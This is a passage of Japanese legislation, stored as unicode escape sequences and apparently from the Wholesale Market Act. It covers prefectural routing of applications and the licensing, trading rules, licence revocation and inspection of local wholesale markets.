\u9805\u7b2c\u4e8c\u53f7\u82e5\u3057\u304f\u306f\u7b2c\u4e09\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\u3092\u3059\u3079\u304d\u7406\u7531\u304c\u3042\u308b\u3068\u8a8d\u3081\u305f\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u56db\u5341\u4e94\u6761\u306e\u898f\u5b9a\u306b\u3088\u308a\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\u306e\u5236\u9650\u3092\u3057\u305f\u3068\u304d\u3002\n\n\u4e09\n\n\u3000\u7b2c\u4e94\u5341\u6761\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\u3092\u3057\u305f\u3068\u304d\u3002\n\n\u56db\n\n\u3000\u524d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3044\u3001\u53c8\u306f\u4ed6\u306e\u5378\u58f2\u696d\u8005\u306b\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u308f\u305b\u305f\u3068\u304d\u3002\n\n\u4e94\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3064\u304d\u3001\u81e8\u6642\u306b\u958b\u5e02\u3057\u3001\u53c8\u306f\u4f11\u696d\u3057\u305f\u3068\u304d\u3002\n\n\n\uff12\n\n\u3000\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u5834\u5408\u306b\u306f\u3001\u305d\u306e\u65e8\u3092\u544a\u793a\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u305d\u306e\u544a\u793a\u3057\u305f\u4e8b\u9805\u306b\u5909\u66f4\u304c\u3042\u3064\u305f\u3068\u304d\u3082\u3001\u540c\u69d8\u3068\u3059\u308b\u3002\n\u4e00\n\n\u3000\u7b2c\u4e03\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u6307\u5b9a\u3092\u3057\u305f\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u516b\u6761\u53c8\u306f\u7b2c\u5341\u56db\u6761\u7b2c\u4e00\u9805\u306e\u8a8d\u53ef\u3092\u3057\u305f\u3068\u304d\u3002\n\n\u4e09\n\n\u3000\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u3057\u305f\u3068\u304d\u3002\n\n\u56db\n\n\u3000\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e8c\u9805\u3001\u7b2c\u4e09\u9805\u82e5\u3057\u304f\u306f\u7b2c\u56db\u9805\u3001\u7b2c\u4e8c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u9805\u53c8\u306f\u7b2c\u56db\u5341\u4e5d\u6761\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u82e5\u3057\u304f\u306f\u7b2c\u4e8c\u9805\u7b2c\u4e8c\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u51e6\u5206\u3092\u3057\u305f\u3068\u304d\u3002\n\n\n\n\n\uff08\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u7d4c\u7531\uff09\n\u7b2c\u4e94\u5341\u56db\u6761\n\n\u3000\u3053\u306e\u7ae0\u53c8\u306f\u3053\u306e\u7ae0\u306b\u57fa\u3065\u304f\u547d\u4ee4\u306e\u898f\u5b9a\u306b\u3088\u308a\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5bfe\u3057\u3066\u3059\u308b\u8a31\u53ef\u82e5\u3057\u304f\u306f\u8a8d\u53ef\u306e\u7533\u8acb\u3001\u5c4a\u51fa\u53c8\u306f\u5831\u544a\u306f\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u3092\u7d4c\u7531\u3057\u3066\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u90fd\u9053\u5e9c\u770c\u53c8\u306f\u5730\u65b9\u81ea\u6cbb\u6cd5\u7b2c\u4e8c\u767e\u4e94\u5341\u4e8c\u6761\u306e\u5341\u4e5d\u7b2c\u4e00\u9805\n\u306e\u6307\u5b9a\u90fd\u5e02\u304c\u958b\u8a2d\u3059\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u5f53\u8a72\u8a31\u53ef\u82e5\u3057\u304f\u306f\u8a8d\u53ef\u306e\u7533\u8acb\u3001\u5c4a\u51fa\u53c8\u306f\u5831\u544a\u306b\u3064\u3044\u3066\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u672c\u6587\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u5f53\u8a72\u8a31\u53ef\u82e5\u3057\u304f\u306f\u8a8d\u53ef\u306e\u7533\u8acb\u3001\u5c4a\u51fa\u53c8\u306f\u5831\u544a\u306b\u3064\u3044\u3066\u610f\u898b\u304c\u3042\u308b\u3068\u304d\u306f\u3001\u610f\u898b\u3092\u9644\u3057\u3066\u3001\u3053\u308c\u3089\u306b\u95a2\u3059\u308b\u66f8\u985e\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u9032\u9054\u3059\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\n\n\u3000\u3000\u3000\u7b2c\u56db\u7ae0\u3000\u5730\u65b9\u5378\u58f2\u5e02\u5834\n\n\u3000\u3000\u3000\u3000\u7b2c\u4e00\u7bc0\u3000\u958b\u8a2d\u53ca\u3073\u5378\u58f2\u306e\u696d\u52d9\u306b\u3064\u3044\u3066\u306e\u8a31\u53ef\n\n\n\uff08\u958b\u8a2d\u306e\u8a31\u53ef\uff09\n\u7b2c\u4e94\u5341\u4e94\u6761\n\n\u3000\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3057\u3088\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5e02\u5834\u3054\u3068\u306b\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u8a31\u53ef\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u8a31\u53ef\u306e\u7533\u8acb\uff09\n\u7b2c\u4e94\u5341\u516d\u6761\n\n\u3000\u524d\u6761\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3088\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u696d\u52d9\u898f\u7a0b\u53ca\u3073\u4e8b\u696d\u8a08\u753b\u3092\u5b9a\u3081\u3001\u3053\u308c\u3092\u7533\u8acb\u66f8\u306b\u6dfb\u3048\u3066\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306b\u63d0\u51fa\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u696d\u52d9\u898f\u7a0b\u306b\u306f\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u4f4d\u7f6e\u53ca\u3073\u9762\u7a4d\u3001\u53d6\u6271\u54c1\u76ee\u305d\u306e\u4ed6\u306e\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u306e\u4e8b\u696d\u8a08\u753b\u306b\u306f\u3001\u65bd\u8a2d\u306e\u7a2e\u985e\u3001\u898f\u6a21\u3001\u914d\u7f6e\u53ca\u3073\u69cb\u9020\u305d\u306e\u4ed6\u306e\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u8a31\u53ef\u306e\u57fa\u6e96\uff09\n\u7b2c\u4e94\u5341\u4e03\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u306e\u7533\u8acb\u304c\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u306f\u3001\u540c\u6761\u306e\u8a31\u53ef\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u7533\u8acb\u8005\u304c\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u898f\u5b9a\u306b\u3088\u308a\u7f70\u91d1\u4ee5\u4e0a\u306e\u5211\u306b\u51e6\u305b\u3089\u308c\u3001\u305d\u306e\u5211\u306e\u57f7\u884c\u3092\u7d42\u308f\u308a\u3001\u53c8\u306f\u305d\u306e\u5211\u306e\u57f7\u884c\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u306a\u304f\u306a\u3064\u305f\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e8c\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u8005\u3067\u3042\u308b\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7533\u8acb\u8005\u304c\u3001\u7b2c\u516d\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e00\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u3092\u53d7\u3051\u3001\u305d\u306e\u53d6\u6d88\u3057\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e8c\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u8005\u3067\u3042\u308b\u3068\u304d\u3002\n\n\u4e09\n\n\u3000\u7533\u8acb\u8005\u304c\u6cd5\u4eba\u3067\u3042\u3064\u3066\u305d\u306e\u696d\u52d9\u3092\u57f7\u884c\u3059\u308b\u5f79\u54e1\u306e\u3046\u3061\u306b\u7b2c\u4e00\u53f7\u53c8\u306f\u524d\u53f7\u306b\u8a72\u5f53\u3059\u308b\u8005\u304c\u3042\u308b\u3082\u306e\u3067\u3042\u308b\u3068\u304d\u3002\n\n\u56db\n\n\u3000\u7533\u8acb\u8005\u304c\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u306e\u306b\u5fc5\u8981\u306a\u8cc7\u529b\u4fe1\u7528\u3092\u6709\u3057\u306a\u3044\u8005\u3067\u3042\u308b\u3068\u304d\u3002\n\n\u4e94\n\n\u3000\u696d\u52d9\u898f\u7a0b\u306e\u5185\u5bb9\u304c\u6cd5\u4ee4\uff08\u3053\u306e\u7ae0\u306e\u898f\u5b9a\u306b\u57fa\u3065\u304f\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3092\u542b\u3080\u3002\uff09\u306b\u9055\u53cd\u3059\u308b\u3068\u304d\u3002\n\n\u516d\n\n\u3000\u4e8b\u696d\u8a08\u753b\u304c\u9069\u5207\u3067\u306a\u3044\u304b\u3001\u53c8\u306f\u305d\u306e\u9042\u884c\u304c\u78ba\u5b9f\u3068\u8a8d\u3081\u3089\u308c\u306a\u3044\u3068\u304d\u3002\n\n\u4e03\n\n\u3000\u305d\u306e\u7533\u8acb\u306b\u4fc2\u308b\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u4f4d\u7f6e\u304c\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u7167\u3089\u3057\u8457\u3057\u304f\u914d\u7f6e\u306e\u9069\u6b63\u3092\u6b20\u304f\u3068\u8a8d\u3081\u3089\u308c\u308b\u3068\u304d\u3001\u53c8\u306f\u305d\u306e\u7533\u8acb\u306b\u4fc2\u308b\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u4f4d\u7f6e\u82e5\u3057\u304f\u306f\u65bd\u8a2d\u306e\u7a2e\u985e\u3001\u898f\u6a21\u3001\u914d\u7f6e\u82e5\u3057\u304f\u306f\u69cb\u9020\u304c\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u696d\u52d9\u306e\u5186\u6ed1\u306a\u904b\u55b6\u3092\u78ba\u4fdd\u3059\u308b\u3046\u3048\u3067\u8457\u3057\u304f\u4e0d\u9069\u5f53\u3067\u3042\u308b\u3068\u8a8d\u3081\u3089\u308c\u308b\u3068\u304d\u3002\n\n\n\uff12\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u306e\u7533\u8acb\u304c\u3042\u3064\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u305d\u306e\u7533\u8acb\u8005\u304c\u7b2c\u516d\u5341\u4e94\u6761\u7b2c\u4e8c\u9805\u7b2c\u4e8c\u53f7\u53c8\u306f\u7b2c\u4e09\u53f7\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u3092\u53d7\u3051\u3001\u305d\u306e\u53d6\u6d88\u3057\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e8c\u5e74\u3092\u7d4c\u904e\u3057\u306a\u3044\u8005\u3067\u3042\u308b\u3068\u304d\u306f\u3001\u540c\u6761\u306e\u8a31\u53ef\u3092\u3057\u306a\u3044\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\n\n\uff08\u5378\u58f2\u696d\u52d9\u306e\u8a31\u53ef\uff09\n\u7b2c\u4e94\u5341\u516b\u6761\n\n\u3000\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u304a\u3046\u3068\u3059\u308b\u8005\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3054\u3068\u306b\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u8a31\u53ef\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u306f\u3001\u7533\u8acb\u8005\u304c\u5f53\u8a72\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u8005\u3068\u7570\u306a\u308b\u5834\u5408\u306b\u3042\u3064\u3066\u306f\u3001\u5f53\u8a72\u958b\u8a2d\u3059\u308b\u8005\u3092\u7d4c\u7531\u3057\u3066\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u524d\u9805\u306e\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u958b\u8a2d\u3059\u308b\u8005\u306f\u3001\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u66f8\u3092\u53d7\u7406\u3057\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u7533\u8acb\u8005\u304c\u5f53\u8a72\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u3053\u3068\u306b\u3064\u3044\u3066\u306e\u610f\u898b\u3092\u4ed8\u3057\u3066\u3001\u305d\u306e\u7533\u8acb\u66f8\u3092\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306b\u9032\u9054\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u8a31\u53ef\u306e\u57fa\u6e96\uff09\n\u7b2c\u4e94\u5341\u4e5d\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u524d\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u7533\u8acb\u304c\u3042\u3064\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u7533\u8acb\u8005\u304c\u7b2c\u4e94\u5341\u4e03\u6761\u7b2c\u4e00\u9805\u7b2c\u4e00\u53f7\u3001\u7b2c\u4e8c\u53f7\u82e5\u3057\u304f\u306f\u7b2c\u4e09\u53f7\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u3001\u53c8\u306f\u7533\u8acb\u8005\u304c\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u3092\u516c\u6b63\u304b\u3064\u9069\u78ba\u306b\u9042\u884c\u3059\u308b\u306e\u306b\u5fc5\u8981\u306a\u77e5\u8b58\u53ca\u3073\u7d4c\u9a13\u82e5\u3057\u304f\u306f\u8cc7\u529b\u4fe1\u7528\u3092\u6709\u3059\u308b\u8005\u3067\u306a\u3044\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u540c\u9805\u306e\u8a31\u53ef\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5ec3\u6b62\u306e\u8a31\u53ef\uff09\n\u7b2c\u516d\u5341\u6761\n\n\u3000\u7b2c\u4e94\u5341\u4e94\u6761\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\uff08\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u300c\u958b\u8a2d\u8005\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u3092\u5ec3\u6b62\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u8a31\u53ef\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u3000\u3000\u3000\u3000\u7b2c\u4e8c\u7bc0\u3000\u696d\u52d9\u306b\u3064\u3044\u3066\u306e\u898f\u5236\u53ca\u3073\u76e3\u7763\n\n\n\uff08\u58f2\u8cb7\u53d6\u5f15\u306e\u539f\u5247\uff09\n\u7b2c\u516d\u5341\u4e00\u6761\n\n\u3000\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\u306f\u3001\u516c\u6b63\u304b\u3064\u52b9\u7387\u7684\u3067\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5dee\u5225\u7684\u53d6\u6271\u3044\u306e\u7981\u6b62\uff09\n\u7b2c\u516d\u5341\u4e00\u6761\u306e\u4e8c\n\n\u3000\u958b\u8a2d\u8005\u53c8\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\uff08\u4ee5\u4e0b\u3053\u306e\u7ae0\u306b\u304a\u3044\u3066\u300c\u5378\u58f2\u696d\u8005\u300d\u3068\u3044\u3046\u3002\uff09\u306f\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u696d\u52d9\u306e\u904b\u55b6\u306b\u95a2\u3057\u3001\u51fa\u8377\u8005\u3001\u8cb7\u53d7\u4eba\u305d\u306e\u4ed6\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306e\u5229\u7528\u8005\u306b\u5bfe\u3057\u3066\u3001\u4e0d\u5f53\u306b\u5dee\u5225\u7684\u306a\u53d6\u6271\u3044\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u58f2\u8cb7\u53d6\u5f15\u306e\u65b9\u6cd5\uff09\n\u7b2c\u516d\u5341\u4e8c\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u884c\u3046\u5378\u58f2\u306b\u3064\u3044\u3066\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u958b\u8a2d\u8005\u304c\u696d\u52d9\u898f\u7a0b\u3092\u3082\u3064\u3066\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u5f93\u3044\u3001\u305b\u308a\u58f2\u82e5\u3057\u304f\u306f\u5165\u672d\u306e\u65b9\u6cd5\u53c8\u306f\u76f8\u5bfe\u53d6\u5f15\u306b\u3088\u3089\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u7b49\u306e\u516c\u8868\uff09\n\u7b2c\u516d\u5341\u4e09\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5730\u65b9\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u53d6\u308a\u6271\u3046\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3001\u6bce\u65e5\u306e\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u4e26\u3073\u306b\u5378\u58f2\u696d\u8005\u306e\u5378\u58f2\u306e\u6570\u91cf\u53ca\u3073\u4fa1\u683c\u3092\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\uff09\n\u7b2c\u516d\u5341\u56db\u6761\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u696d\u52d9\u898f\u7a0b\u3092\u5909\u66f4\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u306f\u3001\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306e\u627f\u8a8d\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u7b2c\u4e94\u5341\u4e03\u6761\u7b2c\u4e00\u9805\uff08\u696d\u52d9\u898f\u7a0b\u306b\u4fc2\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u306e\u898f\u5b9a\u306f\u3001\u524d\u9805\u306e\u627f\u8a8d\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u7b49\uff09\n\u7b2c\u516d\u5341\u4e94\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u958b\u8a2d\u8005\u53c8\u306f\u5378\u58f2\u696d\u8005\u304c\u7b2c\u4e94\u5341\u4e03\u6761\u7b2c\u4e00\u9805\u7b2c\u4e00\u53f7\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u8a72\u5f53\u3059\u308b\u306b\u81f3\u3064\u305f\u3068\u304d\uff08\u958b\u8a2d\u8005\u53c8\u306f\u5378\u58f2\u696d\u8005\u304c\u6cd5\u4eba\u3067\u3042\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u305d\u306e\u696d\u52d9\u3092\u57f7\u884c\u3059\u308b\u5f79\u54e1\u306e\u3046\u3061\u306b\u540c\u53f7\u306b\u898f\u5b9a\u3059\u308b\u8005\u306b\u8a72\u5f53\u3059\u308b\u8005\u304c\u3042\u308b\u306b\u81f3\u3064\u305f\u3068\u304d\u3092\u542b\u3080\u3002\uff09\u3001\u53c8\u306f\u305d\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u306e\u306b\u5fc5\u8981\u306a\u8cc7\u529b\u4fe1\u7528\u3092\u6709\u3057\u306a\u304f\u306a\u3064\u305f\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u7b2c\u4e94\u5341\u4e94\u6761\u53c8\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3055\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u958b\u8a2d\u8005\u53c8\u306f\u5378\u58f2\u696d\u8005\u304c\u6b21\u306e\u5404\u53f7\u306e\u4e00\u306b\u8a72\u5f53\u3059\u308b\u3068\u304d\u306f\u3001\u4e00\u5e74\u4ee5\u5185\u306e\u671f\u9593\u3092\u5b9a\u3081\u3066\u305d\u306e\u696d\u52d9\u306e\u5168\u90e8\u82e5\u3057\u304f\u306f\u4e00\u90e8\u306e\u505c\u6b62\u3092\u547d\u3058\u3001\u53c8\u306f\u7b2c\u4e94\u5341\u4e94\u6761\u82e5\u3057\u304f\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d6\u308a\u6d88\u3059\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\u4e00\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u3001\u3053\u306e\u6cd5\u5f8b\u306b\u57fa\u3065\u304f\u547d\u4ee4\u3001\u3053\u306e\u7ae0\u306e\u898f\u5b9a\u306b\u57fa\u3065\u304f\u90fd\u9053\u5e9c\u770c\u306e\u6761\u4f8b\u53c8\u306f\u696d\u52d9\u898f\u7a0b\u306b\u9055\u53cd\u3057\u305f\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u7b2c\u4e94\u5341\u4e94\u6761\u53c8\u306f\u7b2c\u4e94\u5341\u516b\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306e\u901a\u77e5\u3092\u53d7\u3051\u305f\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u6708\u4ee5\u5185\u306b\u305d\u306e\u696d\u52d9\u3092\u958b\u59cb\u3057\u306a\u3044\u3068\u304d\u3002\n\n\u4e09\n\n\u3000\u6b63\u5f53\u306a\u7406\u7531\u304c\u306a\u3044\u306e\u306b\u5f15\u304d\u7d9a\u304d\u4e00\u6708\u4ee5\u4e0a\u305d\u306e\u696d\u52d9\u3092\u4f11\u6b62\u3057\u305f\u3068\u304d\u3002\n\n\n\uff13\n\n\u3000\u7b2c\u5341\u4e5d\u6761\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306f\u3001\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a31\u53ef\u306e\u53d6\u6d88\u3057\u306b\u4fc2\u308b\u8074\u805e\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u5831\u544a\u53ca\u3073\u691c\u67fb\uff09\n\u7b2c\u516d\u5341\u516d\u6761\n\n\u3000\u90fd\u9053\u5e9c\u770c\u77e5\u4e8b\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u5fc5\u8981\u306a\u9650\u5ea6\u306b\u304a\u3044\u3066\u3001\u958b\u8a2d\u8005\u82e5\u3057\u304f\u306f\u5378\u58f2\u696d\u8005\u306b\u5bfe\u3057\u3001\u305d\u306e\u696d\u52d9\u82e5\u3057\u304f\u306f\u8ca1\u7523\u306b\u95a2\u3057\u5831\u544a\u82e5\u3057\u304f\u306f\u8cc7\u6599\u306e\u63d0\u51fa\u3092\u6c42\u3081\u3001\u53c8\u306f\u305d\u306e\u8077\u54e1\u306b\u3001\u958b\u8a2d\u8005\u82e5\u3057\u304f\u306f\u5378\u58f2\u696d\u8005\u306e\u4e8b\u52d9\u6240\u305d\u306e\u4ed6\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u5834\u6240\u306b\u7acb\u3061\u5165\u308a\u3001\u305d\u306e\u696d\u52d9\u82e5\u3057\u304f\u306f\u8ca1\u7523\u306e\u72b6\u6cc1\u82e5\u3057\u304f\u306f\u5e33\u7c3f\u3001\u66f8\u985e\u305d\u306e\u4ed6\u306e\u7269\u4ef6\u3092\u691c\u67fb\u3055\u305b\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\uff12\n\n\u3000\u7b2c\u56db\u5341\u516b\u6761\u7b2c\u4e09\u9805\u53ca\u3073\u7b2c\u56db\u9805\u306e\u898f\u5b9a\u306f\u3001\u524d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u7acb\u5165\u691c\u67fb\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\u3000\u3000\u3000